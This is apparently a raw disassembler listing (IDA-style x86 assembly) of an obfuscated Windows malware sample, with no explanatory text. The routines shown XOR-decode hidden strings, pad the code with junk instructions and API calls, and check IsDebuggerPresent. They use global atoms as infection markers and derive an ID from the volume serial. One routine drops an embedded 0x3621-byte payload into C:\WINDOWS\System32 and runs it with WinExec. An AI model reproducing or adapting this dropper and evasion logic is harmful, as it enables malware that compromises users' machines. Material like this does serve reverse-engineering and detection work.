		cmp	byte ptr [eax],	0
		jz	short loc_403112

loc_403108:				; CODE XREF: sub_403010+D0j
					; sub_403010+DAj ...
		call	sub_40C7D0	; GetVersion
		dec	dword ptr [ebp-4]
		jmp	short loc_4030D7
; ---------------------------------------------------------------------------

loc_403112:				; CODE XREF: sub_403010+F6j
		movzx	edi, byte ptr [ebp-217Ch]
		shl	edi, 2
		mov	esi, [ebp-4]
		mov	[ebp+edi-2580h], esi
		add	byte ptr [ebp-217Ch], 1
		movzx	eax, byte ptr [esi]
		cmp	eax, 0E9h
		jnz	short loc_403169
		mov	word ptr [ebp-258Ah], 7AC6h
		add	word ptr [ebp-258Ah], 2581h
		mov	eax, esi
		mov	edx, ds:1[eax]
		sub	edx, 0FFFFFFFFh
		lea	eax, [edx+eax+4]
		mov	[ebp-2024h], eax
		call	sub_40C734	; GetCurrentProcessId
		jmp	loc_4030C7
; ---------------------------------------------------------------------------

loc_403169:				; CODE XREF: sub_403010+125j
		mov	ebx, [ebp-4]
		jmp	short loc_4031A0
; ---------------------------------------------------------------------------

loc_40316E:				; CODE XREF: sub_403010+196j
		mov	word ptr [ebp-258Ah], 135Dh
		movzx	eax, word ptr [ebp-258Ah]
		imul	eax, 5BAAh
		mov	[ebp-258Ah], ax
		mov	eax, [ebp-1014h]
		add	eax, ebx
		sub	eax, [ebp-4]
		mov	dl, [ebx]
		mov	[eax], dl
		call	sub_40C734	; GetCurrentProcessId
		inc	ebx

loc_4031A0:				; CODE XREF: sub_403010+15Cj
		cmp	ebx, [ebp-2024h]
		jb	short loc_40316E

loc_4031A8:				; CODE XREF: sub_403010+208j
		sub	byte ptr [ebp-217Ch], 1
		movzx	edi, byte ptr [ebp-217Ch]
		shl	edi, 2
		mov	ebx, [ebp+edi-2580h]

loc_4031C0:				; CODE XREF: sub_403010+1FDj
		mov	byte ptr [ebx],	0
		call	sub_40C7C4	; GetTickCount
		cmp	byte ptr ds:1[ebx], 0
		jnz	short loc_4031FA
		cmp	byte ptr ds:2[ebx], 0
		jnz	short loc_4031FA
		cmp	byte ptr ds:3[ebx], 0
		jnz	short loc_4031FA
		cmp	byte ptr ds:4[ebx], 0
		jnz	short loc_4031FA
		cmp	byte ptr ds:5[ebx], 0
		jz	short loc_40320F

loc_4031FA:				; CODE XREF: sub_403010+1C0j
					; sub_403010+1CAj ...
		mov	word ptr [ebp-2182h], 7E10h
		add	word ptr [ebp-2182h], 504Ch
		inc	ebx
		jmp	short loc_4031C0
; ---------------------------------------------------------------------------

loc_40320F:				; CODE XREF: sub_403010+1E8j
		movzx	eax, byte ptr [ebp-217Ch]
		or	eax, eax
		jg	short loc_4031A8
		cmp	byte ptr [ebp+8], 1
		jz	short loc_403269
		lea	edi, [ebp-2583h]
		lea	esi, aZ_0	; " Z"
		mov	ecx, 3
		rep movsb

loc_403233:				; CODE XREF: sub_403010+3Aj
					; sub_403010+70j
		movzx	eax, byte ptr [ebp-1015h]
		push	eax
		push	dword ptr [ebp-202Ch]
		push	dword ptr [ebp-2034h]
		call	sub_402843
		add	esp, 0Ch
		mov	byte ptr [ebp-2051h], 0C0h
		movzx	eax, byte ptr [ebp-2051h]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp-2051h], al

loc_403269:				; CODE XREF: sub_403010+1Cj
					; sub_403010+6Aj ...
		cmp	byte ptr [ebp-2025h], 0
		jz	short loc_4032B9
		call	sub_40C764	; RtlGetLastWin32Error
		and	dword ptr [ebp-1014h], 0

loc_40327E:				; CODE XREF: sub_403010+29Dj
		mov	edi, [ebp-1014h]
		shl	edi, 2
		mov	esi, [ebp-8]
		shr	esi, 2
		shl	esi, 2
		add	esi, [ebp-0Ch]
		mov	edx, [ebp+edi-2020h]
		mov	[esi+edi], edx
		inc	dword ptr [ebp-1014h]
		cmp	dword ptr [ebp-1014h], 400h
		jb	short loc_40327E
		call	sub_40C7D0	; GetVersion
		jmp	loc_402CB4
; ---------------------------------------------------------------------------

loc_4032B9:				; CODE XREF: sub_402A48+122j
					; sub_402A48+351j ...
		add	byte ptr [ebp-1015h], 1
		movzx	edi, byte ptr [ebp-1015h]
		shl	edi, 4
		cmp	off_43CE7C[edi], 0
		jnz	loc_402B58
		call	sub_40C740	; GetCurrentThreadId
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403010	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4032E2	proc near		; CODE XREF: sub_40341E+37p
					; sub_40349A+44p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_43D140
		lea	eax, ds:41D8B0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_403322
; ---------------------------------------------------------------------------

loc_403308:				; CODE XREF: sub_4032E2+42j
		mov	eax, dword_43D140
		add	eax, edi
		lea	eax, ds:41D8B0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0AFh
		mov	[eax], dl
		inc	edi

loc_403322:				; CODE XREF: sub_4032E2+24j
		cmp	edi, esi
		jl	short loc_403308
		mov	eax, dword_43D140
		add	eax, esi
		mov	byte ptr ds:dword_41D8B0[eax], 0
		mov	edi, dword_43D140
		add	dword_43D140, 3
		mov	eax, dword_43D140
		add	eax, 5
		add	eax, esi
		mov	dword_43D140, eax
		cmp	eax, 0DC9h
		jle	short loc_40335F
		and	dword_43D140, 0

loc_40335F:				; CODE XREF: sub_4032E2+74j
		mov	[ebp+var_4], 116h
		lea	eax, dword_41D8B0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_4032E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403370	proc near		; CODE XREF: sub_40341E+19p
					; sub_40349A+33p

var_F		= byte ptr -0Fh
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	sub_40C7D0	; GetVersion
		call	sub_40C7C4	; GetTickCount
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh

loc_40338B:				; CODE XREF: sub_403370+20j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40338B
		mov	edi, eax
		mov	[ebp+var_6], di
		mov	ax, [ebp+var_6]
		mov	[ebp+var_2], ax
		jmp	short loc_4033C6
; ---------------------------------------------------------------------------

loc_4033A2:				; CODE XREF: sub_403370+5Cj
		movzx	eax, [ebp+var_2]
		cmp	byte ptr [ebx+eax], 5Ch
		jnz	short loc_4033C2
		call	sub_40C854	; IsDebuggerPresent
		inc	[ebp+var_2]
		lea	edi, [ebp+var_F]
		lea	esi, aObxzqn@	; "oxzqn@"
		movsd
		movsd
		jmp	short loc_4033CE
; ---------------------------------------------------------------------------

loc_4033C2:				; CODE XREF: sub_403370+3Aj
		dec	[ebp+var_2]

loc_4033C6:				; CODE XREF: sub_403370+30j
		movzx	eax, [ebp+var_2]
		or	eax, eax
		jg	short loc_4033A2

loc_4033CE:				; CODE XREF: sub_403370+50j
		mov	ax, [ebp+var_2]
		cmp	ax, [ebp+var_6]
		jnb	short loc_40340B
		mov	[ebp+var_4], 0
		jmp	short loc_4033F9
; ---------------------------------------------------------------------------

loc_4033E0:				; CODE XREF: sub_403370+99j
		movzx	eax, [ebp+var_4]
		mov	edx, [ebp+arg_4]
		movzx	ecx, [ebp+var_2]
		mov	esi, eax
		add	esi, ecx
		mov	cl, [ebx+esi]
		mov	[edx+eax], cl
		inc	[ebp+var_4]

loc_4033F9:				; CODE XREF: sub_403370+6Ej
		movzx	eax, [ebp+var_4]
		movzx	edx, [ebp+var_6]
		movzx	ecx, [ebp+var_2]
		sub	edx, ecx
		cmp	eax, edx
		jle	short loc_4033E0

loc_40340B:				; CODE XREF: sub_403370+66j
		lea	edi, [ebp+var_7]
		lea	esi, byte_43D14C
		xor	ecx, ecx
		inc	ecx
		rep movsb
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403370	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40341E	proc near		; CODE XREF: sub_403A5F+7Dp
					; sub_403BE7+24Ep ...

var_10A		= word ptr -10Ah
var_108		= word ptr -108h
var_106		= byte ptr -106h
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	edi
		call	sub_40C734	; GetCurrentProcessId
		lea	eax, [ebp+var_106]
		push	eax
		push	[ebp+arg_0]
		call	sub_403370
		mov	[ebp+var_108], 1417h
		add	[ebp+var_108], 7A22h
		push	2
		push	offset aXs	; ""
		call	sub_4032E2
		push	eax
		lea	edi, [ebp+var_106]
		push	edi
		call	sub_40CC74
		add	esp, 18h
		mov	[ebp+var_2], 4444h
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2], ax
		lea	eax, [ebp+var_106]
		push	eax
		call	sub_40C800	; GlobalAddAtomA
		mov	ax, word_43D14D
		mov	[ebp+var_10A], ax
		pop	edi
		leave
		retn
sub_40341E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40349A	proc near		; CODE XREF: sub_4098A8+2D8p
					; sub_4098A8+388p ...

var_112		= byte ptr -112h
var_10C		= dword	ptr -10Ch
var_108		= word ptr -108h
var_106		= word ptr -106h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 114h
		push	ebx
		push	esi
		push	edi
		mov	ax, word_43D14F
		mov	[ebp+var_108], ax
		mov	eax, dword_43D151
		mov	[ebp+var_10C], eax
		call	sub_40C740	; GetCurrentThreadId
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	sub_403370
		call	sub_40C7C4	; GetTickCount
		push	2
		push	offset aXs	; ""
		call	sub_4032E2
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	sub_40CC74
		add	esp, 18h
		call	sub_40C764	; RtlGetLastWin32Error

loc_4034F8:				; CODE XREF: sub_40349A+AEj
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40C818	; GlobalFindAtomA
		mov	edi, eax
		mov	[ebp+var_106], di
		lea	edi, [ebp+var_112]
		lea	esi, aJ95e	; " J95E"
		mov	ecx, 3
		rep movsw
		cmp	[ebp+var_106], 0
		jz	short loc_40354A
		mov	ebx, 4056h
		add	ebx, 1CB6h
		movzx	eax, [ebp+var_106]
		push	eax
		call	sub_40C80C	; GlobalDeleteAtom
		call	sub_40C794	; GetProcessHeap
		jmp	short loc_4034F8
; ---------------------------------------------------------------------------

loc_40354A:				; CODE XREF: sub_40349A+8Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40349A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40354F	proc near		; CODE XREF: sub_4035DB+A0p
					; sub_4036BC+34p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 1EAh
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_43D164
		lea	eax, ds:40E180h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_403597
; ---------------------------------------------------------------------------

loc_40357D:				; CODE XREF: sub_40354F+4Aj
		mov	eax, dword_43D164
		add	eax, edi
		lea	eax, ds:40E180h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0D3h
		mov	[eax], dl
		inc	edi

loc_403597:				; CODE XREF: sub_40354F+2Cj
		cmp	edi, esi
		jl	short loc_40357D
		mov	[ebp+var_8], 278h
		mov	eax, dword_43D164
		add	eax, esi
		mov	byte ptr ds:dword_40E180[eax], 0
		mov	edi, dword_43D164
		mov	eax, edi
		add	eax, 6
		add	eax, esi
		mov	dword_43D164, eax
		cmp	eax, 0DCEh
		jle	short loc_4035D1
		and	dword_43D164, 0

loc_4035D1:				; CODE XREF: sub_40354F+79j
		lea	eax, dword_40E180[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_40354F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4035DB	proc near		; CODE XREF: sub_4036BC+41p

var_3F		= byte ptr -3Fh
var_38		= byte ptr -38h
var_35		= byte ptr -35h
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		lea	edi, [ebp+var_38]
		lea	esi, byte_43D168
		mov	ecx, 3
		rep movsb
		lea	edi, [ebp+var_3F]
		lea	esi, byte_43D16B
		mov	ecx, 7
		rep movsb
		call	sub_40C7D0	; GetVersion
		mov	eax, dword_43D15C
		inc	eax
		push	eax
		lea	eax, [ebp+var_35]
		push	eax
		push	[ebp+arg_0]
		call	sub_40CBC0
		add	esp, 0Ch
		call	sub_40C7C4	; GetTickCount
		lea	ecx, [ebp+var_35]
		or	eax, 0FFFFFFFFh

loc_40362D:				; CODE XREF: sub_4035DB+57j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40362D
		mov	edx, eax
		mov	[ebp+var_2], dl
		call	sub_40C764	; RtlGetLastWin32Error
		mov	[ebp+var_1], 0
		jmp	short loc_40365A
; ---------------------------------------------------------------------------

loc_403644:				; CODE XREF: sub_4035DB+89j
		movzx	eax, [ebp+var_1]
		movzx	edx, [ebp+var_2]
		sub	edx, eax
		dec	edx
		mov	al, [ebp+eax+var_35]
		mov	[ebx+edx], al
		add	[ebp+var_1], 1

loc_40365A:				; CODE XREF: sub_4035DB+67j
		movzx	eax, [ebp+var_1]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	short loc_403644
		movzx	eax, [ebp+var_2]
		mov	byte ptr [ebx+eax], 0
		mov	[ebp+var_3], 0
		jmp	short loc_40368E
; ---------------------------------------------------------------------------

loc_403674:				; CODE XREF: sub_4035DB+C4j
		push	1
		push	(offset	aVgu+4)
		call	sub_40354F
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h
		add	[ebp+var_3], 1

loc_40368E:				; CODE XREF: sub_4035DB+97j
		movzx	eax, [ebp+var_3]
		mov	edx, 20h
		movzx	ecx, [ebp+var_2]
		sub	edx, ecx
		cmp	eax, edx
		jl	short loc_403674
		call	sub_40C854	; IsDebuggerPresent
		push	[ebp+arg_8]
		push	ebx
		call	sub_40CC74
		add	esp, 8
		call	sub_40C7C4	; GetTickCount
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4035DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4036BC	proc near		; CODE XREF: sub_40AA24+694p

var_3C		= byte ptr -3Ch
var_36		= byte ptr -36h
var_4		= word ptr -4
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, 65DBh
		sub	ebx, 2975h
		lea	edi, [ebp+var_3C]
		lea	esi, aDmc9	; "!dmC9"
		mov	ecx, 3
		rep movsw
		mov	[ebp+var_1], 1Bh
		sub	[ebp+var_1], 0FBh
		push	1
		push	(offset	aVgu+2)
		call	sub_40354F
		push	eax
		lea	edi, [ebp+var_36]
		push	edi
		push	[ebp+arg_0]
		call	sub_4035DB
		add	esp, 14h
		mov	[ebp+var_4], 23Ah
		sub	[ebp+var_4], 4D70h
		lea	eax, [ebp+var_36]
		push	eax
		call	sub_40C800	; GlobalAddAtomA
		mov	ebx, 858h
		mov	eax, ebx
		add	eax, ebx
		mov	ebx, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4036BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40372A	proc near		; CODE XREF: sub_4037CA+37p
					; .text:0040389Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_43D180
		lea	eax, ds:40F6E0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_403768
; ---------------------------------------------------------------------------

loc_403751:				; CODE XREF: sub_40372A+40j
		mov	eax, dword_43D180
		add	eax, edi
		lea	eax, ds:40F6E0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 75h
		mov	[eax], dl
		inc	edi

loc_403768:				; CODE XREF: sub_40372A+25j
		cmp	edi, esi
		jl	short loc_403751
		mov	[ebp+var_4], 2E3h
		mov	eax, dword_43D180
		add	eax, esi
		mov	byte ptr ds:dword_40F6E0[eax], 0
		xor	edi, edi
		mov	edi, dword_43D180
		inc	dword_43D180
		mov	eax, dword_43D180
		add	eax, 5
		add	eax, esi
		mov	dword_43D180, eax
		add	dword_43D180, 2
		cmp	dword_43D180, 0DF6h
		jle	short loc_4037B9
		and	dword_43D180, 0

loc_4037B9:				; CODE XREF: sub_40372A+86j
		mov	[ebp+var_8], 1Ch
		lea	eax, dword_40F6E0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_40372A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4037CA	proc near		; CODE XREF: sub_40AA24+728p
					; sub_40AA24+74Fp

var_10A		= word ptr -10Ah
var_108		= word ptr -108h
var_106		= word ptr -106h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	edi
		mov	[ebp+var_106], 56C6h
		sub	[ebp+var_106], 2AE0h
		call	sub_40C7C4	; GetTickCount
		push	[ebp+arg_0]
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40CC50
		push	1
		push	offset aVgu	; "V"
		call	sub_40372A
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	sub_40CC74
		mov	[ebp+var_108], 14CDh
		sub	[ebp+var_108], 24h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40CC74
		add	esp, 20h
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40C800	; GlobalAddAtomA
		mov	[ebp+var_10A], 31AAh
		movzx	eax, [ebp+var_10A]
		imul	eax, 32E4h
		mov	[ebp+var_10A], ax
		pop	edi
		leave
		retn
sub_4037CA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 110h
		push	esi
		push	edi
		lea	edi, [ebp-10Dh]
		lea	esi, a9b7	; ":9b 7-"
		mov	ecx, 7
		rep movsb
		push	dword ptr [ebp+8]
		lea	eax, [ebp-104h]
		push	eax
		call	sub_40CC50
		call	sub_40C854	; IsDebuggerPresent
		push	1
		push	offset aVgu	; "V"
		call	sub_40372A
		push	eax
		lea	edi, [ebp-104h]
		push	edi
		call	sub_40CC74
		call	sub_40C764	; RtlGetLastWin32Error
		push	dword ptr [ebp+0Ch]
		lea	eax, [ebp-104h]
		push	eax
		call	sub_40CC74
		add	esp, 20h

loc_4038C4:				; CODE XREF: .text:00403908j
		lea	eax, [ebp-104h]
		push	eax
		call	sub_40C818	; GlobalFindAtomA
		mov	edi, eax
		mov	[ebp-106h], di
		cmp	word ptr [ebp-106h], 0
		jz	short loc_40390A
		lea	edi, [ebp-110h]
		lea	esi, aUa	; "U"
		mov	ecx, 3
		rep movsb
		movzx	eax, word ptr [ebp-106h]
		push	eax
		call	sub_40C80C	; GlobalDeleteAtom
		call	sub_40C7C4	; GetTickCount
		jmp	short loc_4038C4
; ---------------------------------------------------------------------------

loc_40390A:				; CODE XREF: .text:004038E1j
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40390E	proc near		; CODE XREF: sub_40399B+82p
					; sub_403A5F+58p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 200h
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_43D198
		lea	eax, ds:41E9E0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	[ebp+var_8], 100h
		xor	edi, edi
		jmp	short loc_40395D
; ---------------------------------------------------------------------------

loc_403943:				; CODE XREF: sub_40390E+51j
		mov	eax, dword_43D198
		add	eax, edi
		lea	eax, ds:41E9E0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0D9h
		mov	[eax], dl
		inc	edi

loc_40395D:				; CODE XREF: sub_40390E+33j
		cmp	edi, esi
		jl	short loc_403943
		mov	eax, dword_43D198
		add	eax, esi
		mov	byte ptr ds:dword_41E9E0[eax], 0
		xor	edi, edi
		mov	edi, dword_43D198
		mov	eax, edi
		lea	eax, [eax+esi+1]
		mov	dword_43D198, eax
		cmp	eax, 0DCCh
		jle	short loc_403991
		and	dword_43D198, 0

loc_403991:				; CODE XREF: sub_40390E+7Aj
		lea	eax, dword_41E9E0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_40390E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40399B	proc near		; CODE XREF: sub_403A5F+34p
					; sub_403BE7+139p ...

var_100B	= byte ptr -100Bh
var_1008	= dword	ptr -1008h
var_1003	= byte ptr -1003h
var_1000	= byte ptr -1000h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_40C6B8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		lea	edi, [ebp+var_100B]
		lea	esi, word_4421BE
		mov	ecx, 3
		rep movsb
		push	0FFFh
		lea	eax, [ebp+var_1003]
		push	eax
		call	sub_40C7A0	; GetSystemDirectoryA
		call	sub_40C7C4	; GetTickCount
		mov	[ebp+var_1000],	0
		push	0FFFh
		lea	eax, [ebp+var_1003]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	0FFFh
		lea	eax, [ebp+var_1003]
		push	eax
		lea	eax, [ebp+var_1003]
		push	eax
		call	sub_40C7E8	; GetVolumeInformationA
		call	sub_40C740	; GetCurrentThreadId
		push	4
		push	offset byte_44757F
		call	sub_40390E
		push	[ebp+var_1008]
		push	eax
		push	ebx
		call	sub_40CC50
		add	esp, 14h
		call	sub_40C740	; GetCurrentThreadId
		and	[ebp+var_4], 0

loc_403A3B:				; CODE XREF: sub_40399B+BDj
		mov	eax, [ebp+var_4]
		mov	al, [ebx+eax]
		cmp	al, 41h
		jge	short loc_403A51
		cmp	al, 30h
		jle	short loc_403A51
		mov	eax, [ebp+var_4]
		add	eax, ebx
		add	byte ptr [eax],	11h

loc_403A51:				; CODE XREF: sub_40399B+A8j
					; sub_40399B+ACj
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 8
		jb	short loc_403A3B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40399B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A5F	proc near		; CODE XREF: sub_40AA24+7D2p

var_28F		= byte ptr -28Fh
var_28A		= byte ptr -28Ah
var_284		= byte ptr -284h
var_27D		= dword	ptr -27Dh
var_279		= byte ptr -279h
var_273		= byte ptr -273h
var_26C		= byte ptr -26Ch
var_26B		= byte ptr -26Bh
var_167		= byte ptr -167h
var_103		= byte ptr -103h
var_102		= word ptr -102h
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 290h
		push	ebx
		push	esi
		push	edi
		call	sub_40C734	; GetCurrentProcessId
		lea	edi, [ebp+var_26C]
		lea	esi, byte_4421C1
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	ebx, 1763h
		add	ebx, 25D9h
		lea	eax, [ebp+var_167]
		push	eax
		call	sub_40399B
		call	sub_40C794	; GetProcessHeap
		lea	edi, [ebp+var_273]
		lea	esi, aI?	; "`i/=?<"
		mov	ecx, 7
		rep movsb
		push	9
		push	offset byte_447575
		call	sub_40390E
		lea	edi, [ebp+var_167]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
		push	eax
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_40CC50
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_40341E
		lea	edi, [ebp+var_279]
		lea	esi, aGas6l	; "GS6l"
		mov	ecx, 3
		rep movsw
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_40C8CC	; CreateFileA
		mov	ebx, eax
		mov	eax, dword_4421CF
		mov	[ebp+var_27D], eax
		push	0
		lea	eax, [ebp+var_284]
		push	eax
		push	3621h
		push	offset byte_43EB9D
		push	ebx
		call	sub_40C944	; WriteFile
		lea	edi, [ebp+var_28A]
		lea	esi, aMt@6	; "mt@~6"
		mov	ecx, 3
		rep movsw
		push	ebx
		call	sub_40C7AC	; CloseHandle
		call	sub_40C854	; IsDebuggerPresent
		lea	edi, [ebp+var_28F]
		lea	esi, aWGz	; "w-gz"
		mov	ecx, 5
		rep movsb
		push	104h
		lea	eax, [ebp+var_26B]
		push	eax
		push	0
		call	sub_40C770	; GetModuleFileNameA
		mov	[ebp+var_102], 0C80h
		sub	[ebp+var_102], 4F02h
		push	1
		push	offset byte_447573
		call	sub_40390E
		push	eax
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_40CC74
		mov	[ebp+var_103], 94h
		add	[ebp+var_103], 1
		lea	eax, [ebp+var_26B]
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_40CC74
		add	esp, 38h
		call	sub_40C734	; GetCurrentProcessId
		push	0
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_40C938	; WinExec
		call	sub_40C734	; GetCurrentProcessId
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BE7	proc near		; CODE XREF: sub_40AA24+35Fp

var_312		= word ptr -312h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2F0		= byte ptr -2F0h
var_2E9		= dword	ptr -2E9h
var_2E5		= byte ptr -2E5h
var_2DF		= dword	ptr -2DFh
var_2DB		= byte ptr -2DBh
var_2D6		= word ptr -2D6h
var_2D4		= byte ptr -2D4h
var_2CD		= byte ptr -2CDh
var_269		= byte ptr -269h
var_205		= byte ptr -205h
var_101		= byte ptr -101h
var_FB		= byte ptr -0FBh
var_FA		= byte ptr -0FAh
var_F9		= byte ptr -0F9h
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		push	ebx
		push	esi
		push	edi
		call	sub_40C854	; IsDebuggerPresent
		lea	edi, [ebp+var_2D4]
		lea	esi, aBdvq	; "!dvq#"
		mov	ecx, 7
		rep movsb
		call	sub_40C794	; GetProcessHeap
		push	26h
		push	offset dword_44754C
		call	sub_40390E
		mov	[ebp+var_2F4], eax
		call	sub_40CC38
		mov	[ebp+var_2F8], eax
		call	sub_40CC38
		mov	[ebp+var_2FC], eax
		call	sub_40CC38
		mov	[ebp+var_300], eax
		call	sub_40CC38
		mov	[ebp+var_304], eax
		call	sub_40CC38
		mov	[ebp+var_308], eax
		call	sub_40CC38
		mov	[ebp+var_30C], eax
		call	sub_40CC38
		mov	[ebp+var_310], eax
		call	sub_40CC38
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_310]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_30C]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_308]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_304]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_300]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_2FC]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_2F8]
		mov	eax, edi
		mov	ecx, 0FFFFh
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp+var_2F4]
		push	edi
		lea	edi, [ebp+var_269]
		push	edi
		call	sub_40CC50
		call	sub_40C7C4	; GetTickCount
		mov	ax, word_4421E5
